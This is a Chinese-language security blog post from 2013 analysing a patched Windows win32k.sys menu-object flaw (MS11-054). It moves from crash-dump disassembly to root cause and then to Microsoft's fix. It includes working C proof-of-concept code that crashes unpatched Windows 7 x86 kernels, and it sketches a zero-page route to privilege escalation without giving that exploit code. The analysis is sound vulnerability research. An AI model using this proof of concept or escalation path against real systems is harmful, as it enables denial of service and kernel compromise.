03月22, 2013

从Dump到POC系列一:Win32k内核提权漏洞分析

1.引言

近日有同事反馈给笔者一个win32k的蓝屏崩溃dump,说是在开发新的界面程序中遇到的。

笔者在对拿到的Minidump进行分析后,发现这是win32k.sys在处理内核的menu窗口对象中的Use-After-Free/Null-Pointer-Dereference漏洞引发的。

笔者进行进一步分析后发现,这实际是一系列2011年已经修补的win32k漏洞, 微软公告编号为MS11-054,涉及8个CVE(CVE-2011-1878~CVE-2011-1885),都是由当时在挪威安全公司Norman的内核漏洞达人Tarjei Mandt(@kernelpool)报告的,相关的细节未被公开过。

虽然这些都是一年多以前已经修补的漏洞,但细节从未公开过,从了解内核安全问题和win32k内部机制的目的出发,笔者还是决定将此成文,由dump分析入手,到漏洞原理剖析,再到漏洞的重现利用手法,最后到分析漏洞的影响函数、修补方式等,完整重现“由dump到POC”的全过程。

2.Dump分析

首先我们打开崩溃的dump,windbg分析可知发生的Bugcheck是:KERNEL_MODE_EXCEPTION_NOT_HANDLED_M(未处理的内核异常)

而异常代码是STATUS_ACCESS_VIOLATION(访问违例),出故障的地方位于win32k!xxxDestoryWindow+0x32,原因是访问了空指针,异常堆栈如下:

kd> kb
ChildEBP RetAddr  Args to Child              
90a0fb78 95768a5c 00000000 9584e480 fe320168 win32k!xxxDestroyWindow+0x32
90a0fbb8 95768d13 00000001 00000000 00000000 win32k!xxxMNCancel+0x121
90a0fbd0 95769de6 9584e480 fe52fdd8 9584e480 win32k!xxxMNDismiss+0x12
90a0fbf0 9575fb93 9584e480 fe320168 9584e480 win32k!xxxEndMenuLoop+0x23
90a0fc38 9576f71b fe320168 9584e480 00000000 win32k!xxxMNLoop+0x3f5
90a0fca0 957658a5 00000088 00004040 000004e8 win32k!xxxTrackPopupMenuEx+0x5cd
90a0fd14 83c5f42a 00020225 00004040 000004e8 win32k!NtUserTrackPopupMenuEx+0xc3
90a0fd14 778b64f4 00020225 00004040 000004e8 nt!KiFastCallEntry+0x12a

从堆栈上可以看出是由NtUserTrackPopupMenuEx这个NT服务引发的问题,在调入封装的win32k xxxTrackPopupMenuEx函数后,进入xxxMNLoop->xxxEndMenuLoop->xxxMNDismiss->xxxMNCancel,最终进入了 问题现场函数xxxDestoryWindow,这个函数顾名思义,是win32k销毁内核窗口对象的内部功能函数。

xxxDestoryWindow的故障发生在刚刚进入函数的地方,原因很容易定位,我们来看xxxDestoryWindow的故障代码:

kd> u xxxDestroyWindow xxxDestroyWindow+34
win32k!xxxDestroyWindow:
956d0915 8bff            mov     edi,edi
956d0917 55              push    ebp
956d0918 8bec            mov     ebp,esp
956d091a 83ec34          sub     esp,34h
956d091d 53              push    ebx
956d091e 8b1d58da8495    mov     ebx,dword ptr [win32k!gptiCurrent (9584da58)]
956d0924 8b83b4000000    mov     eax,dword ptr [ebx+0B4h]
956d092a 56              push    esi
956d092b 8b7508          mov     esi,dword ptr [ebp+8] //set esi
956d092e 8945f0          mov     dword ptr [ebp-10h],eax
956d0931 57              push    edi
956d0932 8d45f0          lea     eax,[ebp-10h]
956d0935 33ff            xor     edi,edi
956d0937 8983b4000000    mov     dword ptr [ebx+0B4h],eax
956d093d 8975f4          mov     dword ptr [ebp-0Ch],esi
956d0940 3bf7            cmp     esi,edi
956d0942 7403            je      win32k!xxxDestroyWindow+0x32 (956d0947)
956d0944 ff4604          inc     dword ptr [esi+4]
956d0947 8b16            mov     edx,dword ptr [esi] //esi = 0x00000000

代码中最后一行即是发生空指针引用的地方,esi = 0x00000000,esi的来源也一目了然,它是来自xxxDestoryWindow的第一个参数,即要被销毁的窗口pwnd指针。

这么看,xxxDestoryWindow不是责任函数,那么应该是xxxMNCancel传入了空的pwnd指针导致的,我们再来看xxxMNCancel的实现,首先看看xxxMNCancel调用xxxDestoryWindow的附近代码:

kd> ub xxxMNCancel+121 L5
win32k!xxxMNCancel+0x10f:
95768a4a ff7608          push    dword ptr [esi+8]
95768a4d 6a07            push    7
95768a4f e8e962faff      call    win32k!xxxWindowEvent (9570ed3d)
95768a54 ff7608          push    dword ptr [esi+8]
95768a57 e8b97ef6ff      call    win32k!xxxDestroyWindow (956d0915)

可以看到,xxxDestoryWindow的参数来自 dword ptr[esi + 8],继续看下面的代码可知,esi来自xxxMNCancel的第一个参数,结构为tagPOPUPWND,这样我们可知被销毁的窗口对象指针来自tagPOPUPWND->spwndPopupMenu

kd> u xxxMNCancel la
win32k!xxxMNCancel:
9576893b 8bff            mov     edi,edi
9576893d 55              push    ebp
9576893e 8bec            mov     ebp,esp
95768940 83ec28          sub     esp,28h
95768943 53              push    ebx
95768944 56              push    esi
95768945 57              push    edi
95768946 8b7d08          mov     edi,dword ptr [ebp+8]
95768949 8b37            mov     esi,dword ptr [edi]
9576894b 8b06            mov     eax,dword ptr [esi]

3.原理分析

分析相关的代码可知,spwndPopupMenu实际上是在PopupMenu对象中的指向其属于的Menu窗口对象的指针。为了理解为何这里会遇到空的Menu对象指针,我们首先研究下Menu/PopupMenu对象之间的关系和形成机理。

通过研究win32k的内部机制可知,在win32k中,不同类型的窗口对象的扩展数据(WndExtra)是附加在标准窗口对象结构后面的,而对于Menu窗口对象(tagMENUWND结构),附加在其后的是指向其PopupMenu对象的 指针(PPOPUPMENU,即tagPOPUPMENU结构),而我们这里遇到的spwndPopupMenu就是在tagPOPUPMENU结构中,指回其所属的Menu窗口对象的指针

0: kd> dt tagPOPUPMENU -d spwndPopupMenu
win32k!tagPOPUPMENU
   +0x008 spwndPopupMenu : Ptr32 tagWND

对于Menu窗口对象,分配tagPOPUPMENU并填充到tagMENUWND的工作,是在xxxMenuWindowProc这个函数内,响应窗口创建时产生的WM_NCCREATE消息时完成的。

对于内核默认的窗口对象,系统会为其指定专门的内核窗口消息处理函数来实现特定的功能,而xxxMenuWindowProc就是专为响应Menu窗口对象的窗口消息的函数,当ring3代码调用SendMessage- >NtUserMessageCall发送消息给Menu窗口,或者ring0调用xxxSendMessage发送消息给Menu窗口时,都会通过FNID函数封装后最终调用到这些内核处理函数。这个函数对于内核对Menu窗口对象的管理来说非常重要 ,后面我们还会说到它。

通过IDA反汇编xxxMenuWindowProc函数中对WM_NCCREATE消息的处理过程我们可以看到这一点:

ProcWM_NCCREATE:                        ; CODE XREF: xxxMenuWindowProc(x,x,x,x)+179j

               cmp     dword ptr [edi+(size tagWND)], 0
               jnz     loc_BF93F24A
               push    1
               call    _MNAllocPopup@4 ; MNAllocPopup(x)
               test    eax, eax
               jz      loc_BF93F24A
               mov     [edi+(size tagWND)], eax
               or      [eax+tagPOPUPMENU.posSelectedItem], 0FFFFFFFFh
               lea     ecx, [eax+tagPOPUPMENU.spwndPopupMenu]
               mov     edx, edi
               call    @HMAssignmentLock@8 ; HMAssignmentLock(x,x)

从代码上我们可以看到(edi为窗口对象指针),处理例程首先判断tagWND附加数据(edi + 标准窗口结构长度)的pPopupMenu对象指针是否为空,如果为空,那么就是用MNAllocPopup为Menu窗口对象创建 pPopupMenu结构的内存空间(实际就是在Session内存池内分配内存并初始化结构),并将分配出来的pPopupMenu指针写入Menu窗口对象的附加数据中。

接着,再使用HMAssignmentLock,带锁地将tagPOPUPMENU.spwndPopupMenu赋值为edi,即其从属的Menu窗口对象的指针

我们再回头来看触发这个问题的函数:xxxTrackPopupMenuEx的工作原理,熟悉界面编程的朋友都知道这是用于弹出一个Popup Menu的函数,那么在内核中它是如何工作的呢,这里笔者简单列出一下大概的工作的流程 :

(1). 创建Menu窗口对象: 根据HMENU等相关参数,创建最终弹出和展示的Menu窗口(通过xxxCreateWindowEx)

(2). 分配和初始化当前线程的MenuState结构(xxxMNAllocMenuState)

(3). 计算和设定Menu窗口的相关位置、属性等(通过FindBestPos/xxxSetWindowPos等)

(4). 进入菜单循环,展示Menu并进入等待菜单选择的循环(xxxMNLoop),在进入循环前,会通过xxxWindowEvent来“播放”一个EVENT_SYSTEM_MENUPOPUPSTART的窗口事件,这个细节会在后面用到

(5). 菜单被选择或取消,退出循环并销毁PopupMenu、Menu窗口对象和MenuState结构(xxxxxEndMenuLoop、xxxMNEndMenuState等)

在dump中,我们看到出问题的地方就在xxxMNLoop的过程中,当菜单选择被取消,xxxMNLoop会试图退出循环,调用xxxMNDismiss->xxxMNCancel来取消窗口的展现,而其中一个操作就是调用xxxDestoryWindow, 来销毁pPopupMenu->spwndPopupMenu即Menu主窗口,而故障的原因就是这个指针已经被销毁并置Null了,由于销毁的代码并没有判断是否已经销毁而直接使用了指针,因此引发了崩溃。

因此,这个漏洞的本质就在于,相关的调用函数(本例中xxxTrackPopupMenuEx)没有检查对应的popup menu结构是否已经被销毁或指针被清空了,仍然继续使用,同时在销毁和使用的代码之间(xxxMenuWindowProc与 xxxTrackPopupMenuEx及其子函数),缺少有效的锁机制,导致了Use-After-Free或Null-Pointer-Dereference问题的发生。

4.重现POC

故障的基本原因清楚了,但还有一个问题是,如何Popup窗口循环结束前,让其保存的指针会被销毁呢?

当然,仅仅通过dump我们已经无法明确究竟在这个Dump的场景之下,之前是哪个逻辑调用了销毁窗口对象的功能,但通过分析Menu相关的实现代码可知,销毁的可能场景有很多,而其中最常见的也最容易触发的,就是 前面将到的xxxMenuWindowProc例程中,我们看看这个例程接受MN_ENDMENU这个消息的代码:

ProcMN_ENDMENU:                         ; CODE XREF: xxxMenuWindowProc(x,x,x,x)+A1Bj

                         ; xxxMenuWindowProc(x,x,x,x)+A6Fj
                         ; DATA XREF: ...

               push    [esi+tagMENUSTATE.pGlobalPopupMenu] ; jumptable BF93ED60 case 499
               push    esi
               call    _xxxEndMenuLoop@8 ; xxxEndMenuLoop(x,x)
               test    dword ptr [esi+tagMENUSTATE._bf4], MENU_STATE_MODLE_LESS
               jz      loc_BF93F24A
               push    TRUE
               call    _xxxMNEndMenuState@4 ; xxxMNEndMenuState(x)
               jmp     loc_BF93F24A

从代码上可以看出,当该例程接受一个MN_ENDMENU消息时,且menu状态是model less的(通过menu state来判断),xxxMenuWindowProc就会调用xxxMNEndMenuState销毁线程的MenuState,同时也销毁和清 空当前线程popup menu相关的spwndPopupMenu对象。

也就是说,只要在TrackPopupMenuEx的流程 (2) 之后,流程(4)结束之前,发送MN_ENDMENU消息给Menu窗口对象,就可以触发这个问题。

了解了整个逻辑触发的原理,接下来笔者就开始尝试构造代码,在ring3重现这个问题。

刚才已经提到,重现这个的关键点,也是难点在于,如何控制在流程2到流程4之间发送销毁消息。对于ring3程序来说,流程(1)~(5)都是在TrackPopupMenuEx这一个API的调用过程中发生完的。

另外一个难点是,我们要发送消息的Menu窗口对象是内部创建的,在TrackPopupMenu完成后就销毁了,并未输出出来供我们使用。

对于难点1,如何克服?通过多线程竞争条件实现么?存在成功率问题。对于难点2呢?通过在ring3分析win32k 共享内存中的全部窗口对象来实现?麻烦,又不通用。

思考了一段时间,笔者注意到了在流程(4) 中提到的那个WindowEvent的“播放”,我们看看xxxTrackPopupMenu进入xxxMNLoop之前,附近的代码实现:

push    ebx
push    ebx
push    OBJID_CLIENT
push    [ebp+pwndHierarchy]
push    EVENT_SYSTEM_MENUPOPUPSTART
call    _xxxWindowEvent@20 ; xxxWindowEvent(x,x,x,x,x)
mov     eax, [edi+tagMENUSTATE._bf4]
mov     ecx, [ebp+var_1C]
push    ebx
push    ebx
and     eax, 0FFFFFFF7h
shl     ecx, 3
push    edi
or      eax, ecx
push    esi
mov     [edi+4], eax
call    _xxxMNLoop@16   ; xxxMNLoop(x,x,x,x)

可以清楚地看到,在进入xxxMNLoop之前,通过xxxWindowEvent播放了一个EVENT_SYSTEM_MENUPOPUPSTART事件,而参数中,就有我们需要的,Menu窗口对象的指针pwndHierarchy,由于IN CONTEXT的 Window Event是同步调用的,而注册针对本线程的IN CONTEXT Window Event Hook无须任何特权,因此我们这里就找到了一下解决两个难点的方法:

使用SetWindowEventHook,注册针对本线程的、EVENT_SYSTEM_MENUPOPUPSTART事件的Hook,并在hook例程里直接发送窗口销毁消息。

触发问题的另外一个小问题是,如何让MenuState标记为model less的风格,这点通过公开的API SetMenuInfo就可以做到了。

如上所说,所有的问题都解决了,那么写一个完整的程序实验一下吧:

笔者的测试系统环境:干净 Win7 X86,未补过KB2555917补丁(或在其后的针对win32k.sys的补丁),运行后即BSOD

测试代码如下(GUI程序):

#define MN_ENDMENU 0x1F3

VOID CALLBACK WinEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
{
    SendMessage(hwnd , MN_ENDMENU , 0 , 0 );

    return ; 
}

void xxxMenu()
{
    HWND hwnd = GetForegroundWindow();
    HMENU hmenu = CreatePopupMenu();
    MENUINFO menuinfo ; 
    CHAR name[4] = "AAA";
    MENUITEMINFO item  ;

    menuinfo.cbSize = sizeof(menuinfo);
    menuinfo.fMask = MIM_STYLE ; 
    menuinfo.dwStyle = MNS_MODELESS;

    SetMenuInfo(hmenu , &menuinfo);

    item.cbSize = sizeof(item);
    item.fMask = MIIM_STRING;
    item.fType = MFT_STRING ; 
    item.dwTypeData = name;
    item.cch = 4 ; 

    InsertMenuItem(hmenu , 0 , FALSE ,  &item );

    SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART , 
        EVENT_SYSTEM_MENUPOPUPSTART  , 
        GetModuleHandle(NULL) ,
        WinEventProc , 
        GetCurrentProcessId(),
        GetCurrentThreadId() ,
        WINEVENT_INCONTEXT);

    TrackPopupMenuEx(hmenu , 0 , 0x100 , 0x100 ,hwnd , NULL );

    return ;
}

当然,这里笔者给出的POC仅仅构造的是引发内核访问空指针后引发内核拒绝服务,而在实际利用中,因为在xxxMNLoop中会调用xxxSendMessage发送消息给对应的pwnd窗口对象,我们可以通过分配零页内存,伪造可 进行攻击的pwnd结构来稳定地实现内核任意代码执行并进行权限提升,这里笔者就不公布具体的利用代码了。

5.更深入的分析

有了稳定的触发方法后,我们就更容易深入地分析这个漏洞了,通过分析可以发现,xxxTrackPopupMenuEx/xxxMenuWindowProc中相当多的子函数调用都会触发menu或popupmenu窗口对象的问题。

这里笔者简单列出一下之前的win32k.sys中存在同样或类似情况的函数及问题:

xxxTrackPopupMenuEx->xxxMNLoop…xxxMNCancel->xxxDestroyWindow(本文中蓝屏Dump发生的案例):Null Pointer Dereference

xxxMenuWindowProc(处理WM_SIZE或WM_MOVE消息的代码中):Null Pointer Dereference

xxxMNKeyFilter:Null Pointer Dereference

xxxMenuWindowProc->xxxMNDoubleClick(处理MN_DBLCLK消息的代码中):Use After Free

xxxMenuWindowProc->xxxMNButtonDown(处理MN_BUTTONDOWN消息的代码中):Use After Free

xxxMenuWindowProc->xxxMNDestroyHandler(处理WM_FINALDESTROY消息的代码中):Use After Free

xxxMenuWindowProc->xxxCallHandleMenuMessages:Use After Free xxxTrackPopupMenuEx->xxxMNEndMenuState:Use After Free

涉及的问题代码很多,因此在MS11-054中才会有这么多漏洞是属于这一个问题的。

最后,笔者想要探究是,微软在KB2555917中是如何修复这个问题的?解开这个补丁后分析升级的文件得知(分析目标是补丁版本的win32k.sys,win7 x86版本为6.1.7600.16830),微软增强了对于popup menu/MenuState对象的lock机制和延时释放机制,修正了空指针问题:

对xxxMenuWindowProc增加了一层封装,将过去的xxxMenuWindowProc函数封装成了xxxRealMenuWindowProc,在调用前后增加Locking/Unlocking处理,新的xxxMenuWindowProc部分伪代码如下:

  if ( !menuroot )
        bIsLock = LockPopup(popupmenu);
   ++pMenuState->dwLockCount;

  xxxRealMenuWindowProc((int)pwnd, msg, (HDC)wparam, (LPRECT)lparam, (int)pMenuState, fIsRecursedMenu);

  if ( bIsLock )
    UnlockPopup(popupmenu);

同时为了支持Lock popup menu机制, 修改了tagPOPUPMENU结构,增加了flockDelayedFree标记,修改了tagTHREADINFO结构,增加了ppmlockFree链表。

在进入xxxRealMenuWindowProc前,会将PopupMenu加入到win32 thread info(当前GUI线程相关结构)的Lock Delay Free链表中,并将当前PopupMenu标记为DelayFree,在完成MenuWindowProc后才会Unlock PopupMenu,允许popup menu被释放。

在线程退出调用xxxDestoryThreadInfo时,则会释放tagTHREADINFO链表中的所有PopupMenu对象

同时针对MenuState对象也增加了lock机制,对tagMENUSTATE增加了fMarkDestroy标记,并将xxxUnlockMenuState修改为对xxxUnlockMenuStateInternal的封装,并在其中实现了对fMarkDestroy的识别和延迟释放 机制,防止Use-After-Free问题。

修正了若干xxxMNEndMenuState/xxxMNLoop等函数中空指针引用计数问题,解决Null Pointer Dereference问题。

本文链接:http://blogs.360.cn/post/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability.html

-- EOF --

Comments